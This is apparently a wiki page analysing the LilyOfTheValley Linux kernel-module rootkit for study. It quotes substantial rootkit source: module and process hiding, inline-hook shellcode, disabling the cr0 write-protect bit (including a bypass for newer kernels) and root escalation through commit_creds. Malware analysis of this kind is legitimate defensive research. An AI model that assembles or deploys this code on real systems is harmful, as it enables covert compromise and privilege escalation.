-
Notifications
You must be signed in to change notification settings - Fork 1
lilyofthevalley
Introduction
Features
Community
Install process
Architecture
Notes
---> Stealth
---> Hooking
---> cr0 manipuation
---> Privilege Escalation
Conclusion
The lilyofthevalley rootkit by En14c (Mostafa Algayar) is an LKM rootkit distributed at https://github.com/En14c/LilyOfTheValley advertising compatibility for Kernel 4.x on x86 and x86_64. It's author describes it as 'simple' and in some ways this is true however there are some interesting features present.
(A fork of lilyofthevalley by lckjosh (Joshua Lim) exists with updates to bypass cr0 'pinning' checks in Kernel 5.3 but this has not yet been merged into the main codebase.)
lilyofthevalley advertises that it has the following capability set:
hiding processes
unhiding processes
hiding files
granting root privileges
Which are all controlled via an interface exposed at /proc/lilyofthevalleyr00tkit
lilyofthevalley appears to be a proof of concept tool without much change in three years and isn't a very active project. There is a PR open as mentioned from lckjosh (around cr0 wp 'pinning' checks) to increase compatibility beyond Kernel 5.3 but this hasn't been merged yet. There are no open or closed issues on the github page.
TODO
lilyofthevalley is a fairly traditional LKM rootkit which distinguishes itself from many other rootkits by exposing a (hidden by the rootkit) interface at /proc/lilyofthevalleyr00tkit:
###########################
LilyOfTheValley Commands
###########################
* [givemerootprivileges] -->> to gain root access
* [hidepidPID] -->> to hide a given pid. replace (PID) with target pid
* [unhidepidPID] -->> to unhide a given pid. replace (PID) with target pid
* [hidingfiles] -->> just prepend lilyofthevalley to the file or dir name that u want to hide
Functions of interest in the kernel have their prologue directly overwritten in order to give control to the rootkit which represents an evolution over the traditional methods like overwriting syscall table entries etc.
lilyofthevalley is described by the author as being "simple" (and this is a reasonable description in terms of it's minimal feature set) but there is enough demonstrated to make lilyofthevalley a good resource for study.
Module hiding is very standard stuff..
static void r00tkit_hide()
{
list_del_init(&THIS_MODULE->list); /* hide from /proc/modules */
kobject_del(&THIS_MODULE->mkobj.kobj); /* remove rootkit's sysfs entry */
}
The rootkits /proc entry is hidden with code like:
static int r00tkit_procfs_filldir(void *_buf,
const char *name,
int namelen,
loff_t offset,
u64 ino,
unsigned int d_type)
{
struct hidden_pids *hidden_pid;
list_for_each_entry(hidden_pid,&hidden_pids_listhead,pids_list)
{
if (strcmp(hidden_pid->pidstr,name) == 0)
return 0;
}
//hide rootkit's file in proc filesystem
if (strcmp(name,R00TKIT_PROCFS_ENTRYNAME) == 0)
return 0;
return org_procfs_filldir(_buf,name,namelen,offset,ino,d_type);
}
(a variation of this code being also used to hide files in the root filesystem that have the rootkit prefix)
The hooking seeks to install either an i386 or an x86_64 'parasite' at the start of a function of interest - meaning code is written at the start of the function to divert execution to an attacker controlled address.
#if defined(__i386__)
/*
\x68\x00\x00\x00\x00\xc3
push memory_address
ret
*/
#define PARASITE "\x68\x00\x00\x00\x00\xc3"
#define PARASITE_LEN 0x6
#define PARASITE_ADDROFF 0x1
#else
/*
\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0
mov rax,memory_address
jmp rax
*/
#define PARASITE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
#define PARASITE_LEN 0xc
#define PARASITE_ADDROFF 0x2
#endif
Directly overwriting part of functions in this way is harder to detect than overwriting some function pointer (e.g syscall table entries) and showcases an evolution in rootkit techniques.
The rootkit maintains a doubly linked list of structures describing the hook (original first bytes etc) this is templated to avoid code repetition which is a nice touch (makes me think of that one Klemens book again :))
/*
******************************************************************************************
each hooked function is represented by a hooked_function_info
structure that records all info related to the hooked function
(it's original address ,it's original first bytes,etc ...)
the rootkit keeps track of all hooked functions by
implementing a doubly linked list of hooked_function_info structures
******************************************************************************************
*/
LIST_HEAD(hooked_functions_listhead);
//instead of code repeating
#define define_r00tkit_inlinehook_iterate(targetfs) \
static int r00tkit_##targetfs##_inlinehook_iterate(struct file *fp, \
struct dir_context *ctx) \
{ \
int retval; \
struct r00tkit_dircontext *r00tkit_ctx = (struct r00tkit_dircontext *)ctx; \
org_##targetfs##_filldir = r00tkit_ctx->actor; \
r00tkit_ctx->actor = (filldir_t)r00tkit_##targetfs##_filldir; \
r00tkit_parasite(org_##targetfs##_iterate,REMOVE_PARASITE); \
retval = org_##targetfs##_iterate(fp,(struct dir_context *)r00tkit_ctx); \
r00tkit_parasite(org_##targetfs##_iterate,INSTALL_PARASITE); \
return retval; \
}
define_r00tkit_inlinehook_iterate(procfs)
define_r00tkit_inlinehook_iterate(rootfs)
The structures are populated with this code that also splices the correct addresses into the parasite 'shellcode'
/*
[]allocate a hooked_function_info struct
[]fill it with relevant info for the target function
[]add to the list of hooked functions
*/
static int r00tkit_hooklist_add(void *target_func_addr,void *r00tkit_func)
{
char parasite[PARASITE_LEN] = PARASITE;
struct hooked_function_info *hook;
hook = (struct hooked_function_info *)kmalloc(sizeof(struct hooked_function_info),GFP_KERNEL);
if (hook == NULL)
return 0;
//replace zeros with address of rootkit's function
*((unsigned long *)(¶site[PARASITE_ADDROFF])) = (unsigned long)r00tkit_func;
/*
[]fill in hooked_functions_info struct of this targeted function.
[]add to the list of hooked functions
*/
memcpy(hook->parasite,parasite,PARASITE_LEN);
memcpy(hook->org_code,target_func_addr,PARASITE_LEN);
hook->hooked_function_addr = target_func_addr;
list_add(&hook->hook_list,&hooked_functions_listhead);
return 1;
}
The install / removal of a parasite blob happens in this code. It must necessarily change write protect permissions by manipulation of cr0 (covered below) at which point it becomes a simple case of memcpy the data in. All this happens under preempt_disable as it's serious stuff™
/*
replace target function's prologue bytes with rootkits's parasite
if install_parasite = INSTALL_PARASITE
restore target function's prologue bytes if install_parasite = REMOVE_PARASITE
*/
static void r00tkit_parasite(void *target_func_addr,unsigned char install_parasite)
{
struct hooked_function_info *hook;
//we can't leave cpu while hijacking the targtet function bytes
preempt_disable();
unprotect_memory();
list_for_each_entry(hook,&hooked_functions_listhead,hook_list)
{
if (hook->hooked_function_addr == target_func_addr)
{
if (install_parasite)
{
memcpy(target_func_addr,hook->parasite,PARASITE_LEN);
}else
{
memcpy(target_func_addr,hook->org_code,PARASITE_LEN);
}
}
}
protect_memory();
preempt_enable();
}
In order to patch functions of interest lilyofthevalley must manipulate cr0 write protect bit.
//clear the WP (write protect) bit in cr0 reg, so cpu can write to readonly pages whilst in ring0
#define unprotect_memory() (write_cr0(read_cr0() & (~0x10000)))
#define protect_memory() (write_cr0(read_cr0() | 0x10000))
In Kernel versions beyond 5.3.0 this can be expected to fail as there are extra checks so a PR from lckjosh proposes this inline asm version:
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,3,0)
/* needed for hooking */
static void
write_cr0_forced(unsigned long val)
{
unsigned long __force_order;
/* __asm__ __volatile__( */
asm volatile(
"mov %0, %%cr0"
: "+r"(val), "+m"(__force_order));
}
static void
protect_memory(void)
{
write_cr0_forced(cr0);
}
static void
unprotect_memory(void)
{
write_cr0_forced(cr0 & ~0x00010000);
}
#endif
Not much to say really.. This happens via the well known prepare_creds() / commit_creds()
struct cred *user_new_creds;
if (strcmp(buf,GIVEROOTPERM_CMD) == 0)
{
user_new_creds = prepare_creds();
if (user_new_creds != NULL)
{
user_new_creds->uid = (kuid_t) { 0 };
user_new_creds->gid = (kgid_t) { 0 };
user_new_creds->euid = (kuid_t) { 0 };
user_new_creds->egid = (kgid_t) { 0 };
user_new_creds->suid = (kuid_t) { 0 };
user_new_creds->sgid = (kgid_t) { 0 };
user_new_creds->fsuid = (kuid_t) { 0 };
user_new_creds->fsgid = (kgid_t) { 0 };
commit_creds(user_new_creds);
}
}
lilyofthevalley is an unusually named rootkit with basic capabilities that showcases hooking via function entry overwriting. It appears to be a proof of concept intended for experimentation and study.
Home
Techniques
LKM
--> kallsyms
--> Module Hiding
--> cr0 modification
--> sys_call_table patching
--> Chain loading
--> Function hooking
--> Hidden network traffic
--> binfmt handler
Rootkits
LKM
--> Reptile LKM
--> Diamorphine LKM
--> lilyofthevalley LKM
--> puszek-rootkit LKM
--> rkduck LKM
--> Suterusu LKM
--> Sutekh LKM
LD_PRELOAD
--> Beurk LD_PRELOAD
--> Jynx2 LD_PRELOAD